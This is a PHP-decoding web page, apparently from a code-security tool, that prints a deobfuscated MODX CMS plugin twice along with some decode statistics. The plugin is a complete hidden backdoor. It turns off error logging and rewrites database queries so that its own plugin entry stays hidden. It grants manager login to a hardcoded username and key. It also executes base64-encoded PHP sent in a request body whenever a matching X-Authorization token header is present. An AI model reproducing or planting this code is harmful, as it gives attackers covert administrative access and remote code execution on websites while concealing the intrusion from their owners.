Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); $GLOBALS['..

Decoded Output download

<?  @error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
 
$GLOBALS['_vars_b'] = unserialize(base64_decode('YToxOntzOjg6ImF1dGhfa2V5IjtzOjIyOiJwdDQvcEtKZnlkSEJmcHVQUitiWVVBIjt9')); 
extract($GLOBALS['_vars_b']); 
 
if($props){ 
	$props = unserialize(base64_decode($props)); 
	if(is_array($props)){ 
		foreach($props as $k => $v){ 
			$GLOBALS[$k] = $v; 
		} 
		extract($props);	 
	} 
	 
} 
 
if (!function_exists('get_all_headers')) 
{ 
    function get_all_headers() 
    { 
           $headers = ''; 
		    
		if(function_exists('getallheaders')){ 
			$hdrs = getallheaders(); 
			 
			foreach ($hdrs as $name => $value){ 
                $name = strtolower(str_replace('-', ' ',trim($name))); 
				$headers[str_replace(' ', '-',ucwords($name))] = $value; 
			} 
			 
		}else{ 
			foreach ($_SERVER as $name => $value) 
			{ 
				if (substr($name, 0, 5) == 'HTTP_') 
				{ 
					$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; 
				} 
			} 
		} 
        
       return $headers; 
    } 
} 
 
if(!function_exists('join_path')){ 
	function join_path($base) { 
	    $parts = func_get_args(); 
        array_shift($parts); 
        $last_char  = substr( $parts[count($parts) - 1], -1 , 1); 
         
        $base = rtrim($base, "\/"); 
        $parts = array_map("trim_path", $parts); 
        array_unshift($parts, $base); 
        if($last_char == '\' || $last_char == '/'){ 
            array_push($parts, ''); 
        } 
        return normalize_path(implode(constant('DIRECTORY_SEPARATOR'), $parts)); 
	} 
} 
 
if(!function_exists('trim_path')){ 
	function trim_path($p){ 
	    return trim(str_replace(array("\", "/"), constant('DIRECTORY_SEPARATOR'), $p), "\/"); 
	} 
} 
 
if(!function_exists('normalize_path')){ 
	function normalize_path($p){ 
	    return str_replace(array("\", "/"), constant('DIRECTORY_SEPARATOR'), $p); 
	} 
} 
 
if(!function_exists('injectsql')){ 
    function injectsql($sql){ 
        $plugid = $GLOBALS['plugid']; 
         
        if(stripos($sql, 'site_plugins') !== false && $plugid){ 
             
            $count = 0; 
             
            $sql = preg_replace('/(site_plugins`?)\s+(?:as)?\s?(`?[a-z0-9_-]+`?)\s+on\s+/i', '$1 $2 on $2.id <> '.$plugid.' and ', $sql, -1, $count ); 
             
            if($count == 0){ 
                 
                $matches = null; 
                $sp_tbl_alias = ""; 
                 
                if(preg_match ('/from\s+((?:[`a-z0-9_]+\s*\.\s*[`a-z0-9_]+site_plugins`?)|(?:[`a-z0-9_]+site_plugins`?))(?:\s*(?:as)?\s*(`?[a-z0-9_-]+`?)\s*)?/i',$sql, $matches)){ 
                     
                    $skip_words = array('order', 'where', 'group', 'left', 'inner', 'right', 'union', 'join', 'outer'); 
                     
                    if((count($matches) == 3) and (array_search(strtolower($matches[2]), $skip_words) === false)){ 
                        $sp_tbl_alias = $matches[2];	 
                    }else{ 
                        $sp_tbl_alias = $matches[1]; 
                    } 
                     
                } 
                 
                if($sp_tbl_alias){ 
                    $sql = preg_replace('/where(.+?)(\s+order\s+|\s+group\s+|\s+limit\s+|\s+union\s+|$)/i', " where ${sp_tbl_alias}.id <> $plugid AND " .'($1) $2', $sql, -1, $count); 
                 
                    if($count == 0){ 
                        $sql = preg_replace('/\s*order\s+by\s*/i', " where ${sp_tbl_alias}.id <> $plugid order by ", $sql, -1, $count); 
                         
                        if($count == 0){ 
                            $sql .= " where ${sp_tbl_alias}.id <> $plugid";					 
                        } 
                         
                    } 
                 
                }             
                 
            } 
     
             
             
             
        } 
         
        return $sql; 
             
    } 
} 
 
 
if (!class_exists('DBAP1')) { 
    class DBAP1 extends DBAPI{ 
     
        function query($sql){ 
            if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){ 
                return parent::query($sql); 
            }else{ 
                return parent::query(injectsql($sql)); 
            } 
             
        } 
         
    } 
 
} 
 
// $site_key $plugid, $admin_name, $admin_pass 
 
if($modx->event->name === "OnManagerPageInit"){ 
	$modx->db = new DBAP1(); 
    if(isset($_GET['a']) && $_GET['a'] == 100){ 
        $code = file_get_contents(join_path(constant('MODX_MANAGER_PATH') ,'actions/mutate_plugin_priority.dynamic.php')); 
        if(stripos($code, 'mysql_query') !== false){ 
            $code = preg_replace('/^\s*<\?(?:php)?|\?>$/i','', $code); 
            $code = injectsql($code); 
            ob_end_clean(); 
            extract($GLOBALS); 
            eval($code); 
            include_once "footer.inc.php"; 
            exit; 
        } 
         
    } 
} 
 
if($modx->event->name === 'OnManagerAuthentication'){ 
	if(isset($username) && isset($admin_name) && isset($userpassword) && isset($auth_key)) 
	if(($username == $admin_name) && ($userpassword == $auth_key)){ 
        $modx->event->output('1'); 
    } 
} 
 
if($modx->event->name === 'OnWebPageInit'){ 
	$headers = get_all_headers(); 
	 
    if(isset($headers['X-Authorization'])){ 
	 
        $auth = preg_split("/\s+/", trim($headers['X-Authorization'])); 
        if(is_array($auth) && count($auth) == 2 && strtolower($auth[0]) == 'token'){ 
            if( $auth[1] == $auth_key){ 
				$data = file_get_contents('php://input'); 
				if($data){ 
					$data = unserialize(base64_decode($data)); 
					ob_end_clean(); 
                    eval(base64_decode($data['e'])); 
                    exit; 
				} 
            } 
        } 
         
	} 
} 
 
if($modx->event->name === 'OnCacheUpdate'){ 
 
    if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){ 
        $GLOBALS['cache_update'] = false; 
    }else{ 
        $GLOBALS['cache_update'] = true; 
        include_once join_path(constant('MODX_MANAGER_PATH') , '/processors/cache_sync.class.processor.php'); 
        $sync = eval('return new synccache();'); 
        $sync->setCachepath(join_path(constant('MODX_BASE_PATH'),'assets/cache/')); 
        $sync->setReport(false); 
        $sync->emptyCache(); 
    } 
 	 
	 
}

Did this file decode correctly?

Original Code

@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);

$GLOBALS['_vars_b'] = unserialize(base64_decode('YToxOntzOjg6ImF1dGhfa2V5IjtzOjIyOiJwdDQvcEtKZnlkSEJmcHVQUitiWVVBIjt9'));
extract($GLOBALS['_vars_b']);

if($props){
	$props = unserialize(base64_decode($props));
	if(is_array($props)){
		foreach($props as $k => $v){
			$GLOBALS[$k] = $v;
		}
		extract($props);	
	}
	
}

if (!function_exists('get_all_headers'))
{
    function get_all_headers()
    {
           $headers = '';
		   
		if(function_exists('getallheaders')){
			$hdrs = getallheaders();
			
			foreach ($hdrs as $name => $value){
                $name = strtolower(str_replace('-', ' ',trim($name)));
				$headers[str_replace(' ', '-',ucwords($name))] = $value;
			}
			
		}else{
			foreach ($_SERVER as $name => $value)
			{
				if (substr($name, 0, 5) == 'HTTP_')
				{
					$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
				}
			}
		}
       
       return $headers;
    }
}

if(!function_exists('join_path')){
	function join_path($base) {
	    $parts = func_get_args();
        array_shift($parts);
        $last_char  = substr( $parts[count($parts) - 1], -1 , 1);
        
        $base = rtrim($base, "\\/");
        $parts = array_map("trim_path", $parts);
        array_unshift($parts, $base);
        if($last_char == '\\' || $last_char == '/'){
            array_push($parts, '');
        }
        return normalize_path(implode(constant('DIRECTORY_SEPARATOR'), $parts));
	}
}

if(!function_exists('trim_path')){
	function trim_path($p){
	    return trim(str_replace(array("\\", "/"), constant('DIRECTORY_SEPARATOR'), $p), "\\/");
	}
}

if(!function_exists('normalize_path')){
	function normalize_path($p){
	    return str_replace(array("\\", "/"), constant('DIRECTORY_SEPARATOR'), $p);
	}
}

if(!function_exists('injectsql')){
    function injectsql($sql){
        $plugid = $GLOBALS['plugid'];
        
        if(stripos($sql, 'site_plugins') !== false && $plugid){
            
            $count = 0;
            
            $sql = preg_replace('/(site_plugins`?)\s+(?:as)?\s?(`?[a-z0-9_-]+`?)\s+on\s+/i', '$1 $2 on $2.id <> '.$plugid.' and ', $sql, -1, $count );
            
            if($count == 0){
                
                $matches = null;
                $sp_tbl_alias = "";
                
                if(preg_match ('/from\s+((?:[`a-z0-9_]+\s*\.\s*[`a-z0-9_]+site_plugins`?)|(?:[`a-z0-9_]+site_plugins`?))(?:\s*(?:as)?\s*(`?[a-z0-9_-]+`?)\s*)?/i',$sql, $matches)){
                    
                    $skip_words = array('order', 'where', 'group', 'left', 'inner', 'right', 'union', 'join', 'outer');
                    
                    if((count($matches) == 3) and (array_search(strtolower($matches[2]), $skip_words) === false)){
                        $sp_tbl_alias = $matches[2];	
                    }else{
                        $sp_tbl_alias = $matches[1];
                    }
                    
                }
                
                if($sp_tbl_alias){
                    $sql = preg_replace('/where(.+?)(\s+order\s+|\s+group\s+|\s+limit\s+|\s+union\s+|$)/i', " where ${sp_tbl_alias}.id <> $plugid AND " .'($1) $2', $sql, -1, $count);
                
                    if($count == 0){
                        $sql = preg_replace('/\s*order\s+by\s*/i', " where ${sp_tbl_alias}.id <> $plugid order by ", $sql, -1, $count);
                        
                        if($count == 0){
                            $sql .= " where ${sp_tbl_alias}.id <> $plugid";					
                        }
                        
                    }
                
                }            
                
            }
    
            
            
            
        }
        
        return $sql;
            
    }
}


if (!class_exists('DBAP1')) {
    class DBAP1 extends DBAPI{
    
        function query($sql){
            if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){
                return parent::query($sql);
            }else{
                return parent::query(injectsql($sql));
            }
            
        }
        
    }

}

// $site_key $plugid, $admin_name, $admin_pass

if($modx->event->name === "OnManagerPageInit"){
	$modx->db = new DBAP1();
    if(isset($_GET['a']) && $_GET['a'] == 100){
        $code = file_get_contents(join_path(constant('MODX_MANAGER_PATH') ,'actions/mutate_plugin_priority.dynamic.php'));
        if(stripos($code, 'mysql_query') !== false){
            $code = preg_replace('/^\s*<\?(?:php)?|\?>$/i','', $code);
            $code = injectsql($code);
            ob_end_clean();
            extract($GLOBALS);
            eval($code);
            include_once "footer.inc.php";
            exit;
        }
        
    }
}

if($modx->event->name === 'OnManagerAuthentication'){
	if(isset($username) && isset($admin_name) && isset($userpassword) && isset($auth_key))
	if(($username == $admin_name) && ($userpassword == $auth_key)){
        $modx->event->output('1');
    }
}

if($modx->event->name === 'OnWebPageInit'){
	$headers = get_all_headers();
	
    if(isset($headers['X-Authorization'])){
	
        $auth = preg_split("/\s+/", trim($headers['X-Authorization']));
        if(is_array($auth) && count($auth) == 2 && strtolower($auth[0]) == 'token'){
            if( $auth[1] == $auth_key){
				$data = file_get_contents('php://input');
				if($data){
					$data = unserialize(base64_decode($data));
					ob_end_clean();
                    eval(base64_decode($data['e']));
                    exit;
				}
            }
        }
        
	}
}

if($modx->event->name === 'OnCacheUpdate'){

    if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){
        $GLOBALS['cache_update'] = false;
    }else{
        $GLOBALS['cache_update'] = true;
        include_once join_path(constant('MODX_MANAGER_PATH') , '/processors/cache_sync.class.processor.php');
        $sync = eval('return new synccache();');
        $sync->setCachepath(join_path(constant('MODX_BASE_PATH'),'assets/cache/'));
        $sync->setReport(false);
        $sync->emptyCache();
    }
 	
	
}

Function Calls

ini_set 2
unserialize 1
base64_decode 1
error_reporting 1

Variables

None

Stats

MD5 119abc3180c13b3c098a4def18036959
Eval Count 0
Decode Time 160 ms